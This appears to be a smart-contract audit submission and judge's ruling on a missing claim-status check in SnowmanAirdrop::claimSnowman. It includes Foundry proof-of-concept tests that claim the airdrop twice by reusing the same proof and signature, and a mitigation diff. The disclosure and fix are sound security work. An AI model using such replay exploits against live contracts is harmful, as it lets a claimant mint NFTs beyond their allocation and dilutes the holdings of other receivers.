Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

no checked claimed status

rahmannnn23450

Title

Missing claim-status check in SnowmanAirdrop::claimSnowman lets a receiver claim more than once

Root + Impact

Description

  • SnowmanAirdrop tracks claim status per receiver in s_hasClaimedSnowman (declared at L47, set to true at L94, exposed through getClaimStatus), which indicates that each receiver is meant to claim their Snowman NFTs only once.

  • However, claimSnowman never reads s_hasClaimedSnowman, so the flag has no effect. The only remaining barrier is the Snow balance check. A receiver can bypass it by re-acquiring the same amount of Snow as in their Merkle leaf, then reusing the same Merkle proof and the same signature (the signed digest depends only on the receiver and their Snow balance, and contains no nonce).

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
@> // no check of s_hasClaimedSnowman[receiver] here or anywhere else in the function
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
...
i_snow.safeTransferFrom(receiver, address(this), amount);
​
@> s_hasClaimedSnowman[receiver] = true; // written here, but never read in the contract logic
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood: Low

  • This occurs whenever a receiver holds the same Snow amount as their Merkle leaf after a previous claim, which they can obtain again through earnSnow() (once per week during the 12-week farming window) or buySnow(). No privileged access is required.

  • The receiver must re-acquire the exact leaf amount, and Snow can only be minted while farming is open, which limits how often this can be repeated.

Impact: Medium

  • A receiver can claim the same Merkle allocation multiple times and mint Snowman NFTs beyond what the airdrop assigned to them, breaking the intended one-claim-per-receiver rule.

  • The inflated Snowman supply dilutes the NFTs held by receivers who claimed only once, and getClaimStatus returns true for addresses that can still claim, so it cannot be trusted by integrators.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
​
contract DoubleClaimTest is Test {
Snow snow;
Snowman snowman;
SnowmanAirdrop airdrop;
​
address alice;
uint256 aliceKey;
uint256 constant AMOUNT = 1; // earnSnow() mints exactly 1 Snow
​
bytes32[] proof; // single-leaf Merkle tree: root == leaf, so the proof is empty
​
function setUp() public {
(alice, aliceKey) = makeAddrAndKey("alice");
​
// WETH and collector are placeholders, they are never called in this PoC
snow = new Snow(makeAddr("weth"), 1, makeAddr("collector"));
snowman = new Snowman("ipfs://snowman");
​
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(alice, AMOUNT))));
airdrop = new SnowmanAirdrop(leaf, address(snow), address(snowman)); // root == leaf
}
​
function testSameReceiverClaimsTwice() public {
// --- first claim ---
vm.prank(alice);
snow.earnSnow(); // alice gets 1 Snow
​
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, digest);
​
vm.startPrank(alice);
snow.approve(address(airdrop), AMOUNT);
airdrop.claimSnowman(alice, proof, v, r, s);
vm.stopPrank();
​
assertEq(snowman.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice)); // s_hasClaimedSnowman is now true
assertEq(snow.balanceOf(alice), 0); // the airdrop took all of alice's Snow
​
// --- alice re-acquires the same amount of Snow ---
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), AMOUNT);
​
// --- second claim: same proof and same signature ---
vm.startPrank(alice);
snow.approve(address(airdrop), AMOUNT);
airdrop.claimSnowman(alice, proof, v, r, s); // should revert, but succeeds
vm.stopPrank();
​
assertEq(snowman.balanceOf(alice), 2); // claimed twice although getClaimStatus == true
}
}

Recommended Mitigation

+ error SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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